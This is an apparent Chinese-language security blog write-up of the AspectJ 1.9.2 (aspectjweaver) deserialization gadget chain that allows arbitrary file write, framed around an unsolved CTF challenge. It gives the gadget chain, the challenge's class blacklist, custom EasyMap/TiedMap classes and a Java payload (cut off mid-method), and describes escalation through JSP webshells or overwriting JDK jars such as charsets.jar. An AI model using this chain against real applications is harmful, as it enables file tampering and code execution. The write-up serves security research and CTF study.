Aspject1.9.2任意文件写入

7 分钟

aspject1.9.2任意文件写入

前言

原本并没有接触过这条链子,直至前几天Asal1n发来了一道反序列化的题目,说是蓝桥杯决赛0解的题目,跟我说应该是通过aspject链子打任意文件写入的漏洞,并且版本是JAVA17。我原本会以为很简单,但是最终确实没有做出来。原因是在题目之中,把最终的触发点SimpleCache给禁用掉了,后面我还想到了通过jackson来进行反序列化,但是又由于JAVA17的原因,所以各种反射调用等等都会触发安全机制,导致反序列化的失败。但是本次也是有了收获,接触到了aspject这条十分简单的链子,因此就小写一下文章记录一下。

链子分析

引入依赖:

    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.2</version>
    </dependency>

put

StoreableCachingMap类中,存在put方法,接收一个keyvalue两个对象,当value对象的值是IDEM,则path变量被赋值为IDEM,否则会将两个参数传入到writeToPath方法中,得到最终的结果之后,会将keypath通过put方法放入到HashMap当中,最终在触发storeMap方法中,会返回HashMap的结果。

image-20240611161041523

首先这里任意文件写入的点就在writeToPath方法当中,这个方法通过目录+分隔符+key的形式作为文件的写入路径,将传入的value写入到文件当中。

image-20240611161943952

SimpleCache的子类StoreableCachingMap的构造函数中可以知悉,这里的folder是可控的,并且还能够控制storingTimer参数。

image-20240611162322333

至此,任意文件写入的点就出现了,只要能够触发StoreableCachingMap中的put方法就可以导致任意文件的写入。

StoreMap

事实上,前文还提到了storeMap方法,这个方法能够写入序列化的数据,当两个毫秒数相减大于初始化时的storingTimer,就会将序列化的数据写入到cache.idx文件当中。

image-20240611162952213

在上方init方法中,会读取Cache.idx的内容,通过readObject反序列化,也就是说只要控制cache.idx的内容,就能够通过写入恶意链子的形式触发反序列化的漏洞。

image-20240611164525748

最终在SimpleCache的构造方法中,会调用StoreCachingMapinit方法,因此也可以通过storeMap方法完成反序列化链子的触发。

image-20240611164354060

因此这种任意文件写入的漏洞要造成比较高的危害性,可以从两个角度入手,tomcatspring应用存在一定的差异

  • 对于tomcat-jsp这类应用,可以直接通过链子写入jsp木马完成利用。
  • 对于spring应用,因为spring一般以jar打包的形式启动,而且也不会动态部署更新,因此即使写进去了文件也没法进行利用。

Spring通过任意文件的利用方式

前文也说到springboot在运行的时候是打包成jar包的形式,并且会将所有的依赖打包,因此程序运行时没有办法将任意文件写入到网站的目录下,但是却可以写入到系统的classpath目录下,但是Java的加载机制是懒加载

懒加载:在运行项目时,为了节省内存等各种因素,不会将所有的JAVA HOME中的jar包都加载进去,当调用相关类需要用到的时候才会继续进行加载,一般系统类的jar包有以下:

resources.jar;
rt.jar;
sunrsasign.jar;
jsse.jar;
jce.jar;
charsets.jar;
jfr.jar;

因此我们可以将恶意的内容写入到这些jar包当中,当触发时,就会造成恶意类的调用,比如说写入到charsets.jar中,并发起请求charset=GBK的请求头。

回到那道题

题目自定义了一个反序列化的类:

public class SecurityObjectInputStream extends ObjectInputStream {
    public static String[] blacklist = new String[]{"org.springframework", "AbstractAction", "Hashtable", "HashMap", "AbstractMap", "java.rmi", "com.sun.jndi", "sun.rmi", "org.hibernate", "SimpleCache"};

    public SecurityObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        if (!contains(cls.getName())) {
            return super.resolveClass(cls);
        } else {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        }
    }
    public static boolean contains(String targetValue) {
        String[] var1 = blacklist;
        int var2 = var1.length;

        for(int var3 = 0; var3 < var2; ++var3) {
            String forbiddenPackage = var1[var3];
            if (targetValue.contains(forbiddenPackage)) {
                return true;
            }
        }
        return false;
    }
}
黑名单中禁用了很多类,包括最终的终点类SimpleCache,事实上这里没有禁用掉jackson的东西,因此直接用jackson原生反序列化的payload可以打通,但是原版本是JDK17。因此会触发安全机制。

然后源代码中还给了两个类,分别是EasyMapTiedMap,代码如下:

public class EasyMap implements Map, Serializable {
    protected final Map MapFactory;
    protected final Map map;

    protected EasyMap(Map map, Map factory) {
        this.MapFactory = factory;
        this.map = map;
    }

    public int size() {
        return 0;
    }

    public boolean isEmpty() {
        return false;
    }

    public boolean containsKey(Object key) {
        return false;
    }

    public boolean containsValue(Object value) {
        return false;
    }

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.MapFactory.get(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.get(key);
        }
    }

    public Object put(Object key, Object value) {
        return null;
    }

    public Object remove(Object key) {
        return null;
    }

    public void putAll(Map m) {
    }

    public void clear() {
    }

    public Set keySet() {
        return null;
    }

    public Collection values() {
        return null;
    }

    public Set<Entry> entrySet() {
        return null;
    }
}
这里的get方法可以触发map.put,可以触发上述的aspject链子中的put方法
public class TiedMap implements Entry, Serializable {
    private final Map map;
    private final Object key;

    public TiedMap(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            boolean var10000;
            label43: {
                label29: {
                    Entry other = (Entry)obj;
                    Object value = this.getValue();
                    if (this.key == null) {
                        if (other.getKey() != null) {
                            break label29;
                        }
                    } else if (!this.key.equals(other.getKey())) {
                        break label29;
                    }

                    if (value == null) {
                        if (other.getValue() == null) {
                            break label43;
                        }
                    } else if (value.equals(other.getValue())) {
                        break label43;
                    }
                }

                var10000 = false;
                return var10000;
            }

            var10000 = true;
            return var10000;
        }
    }

    public String toString() {
        String var10000 = String.valueOf(this.getKey());
        return var10000 + "=" + String.valueOf(this.getValue());
    }
}
这里存在toString方法,能够触发getValue方法,而这里的getValue方法能够通过map.get能够触发EasyMap#get方法进而串联起整条链

因此如果在不管限制情况下,整个Gadgets如下:

BadAttributeValueExpException#readObject()
TiedMap#toString()
TiedMap#getValue()
EasyMap#get()
StoreableCachingMap#put()
StoreableCachingMap#writeToPath()
任意文件写入

paload如下:

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
            InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        String filepath="./";
        String content="BBB world";
        String fileName="hello.txt";
        Class<?> c=Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> constructor=c.getDeclaredConstructor(String.class,int.class);
        constructor.setAccessible(true);
        Map<?,?> map= (Map) constructor.newInstance(filepath,10000);
        TreeMap<String, byte[]> treeMap=new TreeMap<>();
        treeMap.put(fileName, content.getBytes(StandardCharsets.UTF_8));

        EasyMap easyMap=new EasyMap(map,treeMap);
        TiedMap tiedMap=new TiedMap(easyMap,fileName);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setFieldValue(badAttributeValueExpException,"val",tiedMap);
        byte[] arr=serialize(badAttributeValueExpException);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(arr);
        SecurityObjectInputStream ois = new SecurityObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
       

我在尝试解这个题目的时候,寻找是否存在新的终点,最终并没有找到,只发现了存在dump 方法可以将内容写入到.class文件当中。

 protected void dump(String name, byte[] b, boolean before) {
        String dirName = this.getDumpDir();
        if (before) {
            dirName = dirName + File.separator + "_before";
        }

        String className = name.replace('.', '/');
        File dir;
        if (className.indexOf(47) > 0) {
            dir = new File(dirName + File.separator + className.substring(0, className.lastIndexOf(47)));
        } else {
            dir = new File(dirName);
        }

        dir.mkdirs();
        String fileName = dirName + File.separator + className + ".class";

        try {
            FileOutputStream os = new FileOutputStream(fileName);
            os.write(b);
            os.close();
        } catch (IOException var9) {
            this.warn("unable to dump class " + name + " in directory " + dirName, var9);
        }

    }

总结

整个aspject链子十分简单,凡是可以触发put的链子都可以串联起这个任意文件写入,比如CC链。至于这道题,由于JDK17SecurityObjectInputStream的限制,导致了还未解出来。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:Aspject1.9.2任意文件写入
文章链接:https://aiwin.fun/index.php/archives/4419/
最后编辑:2024 年 6 月 12 日 09:05 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 5 =
快来做第一个评论的人吧~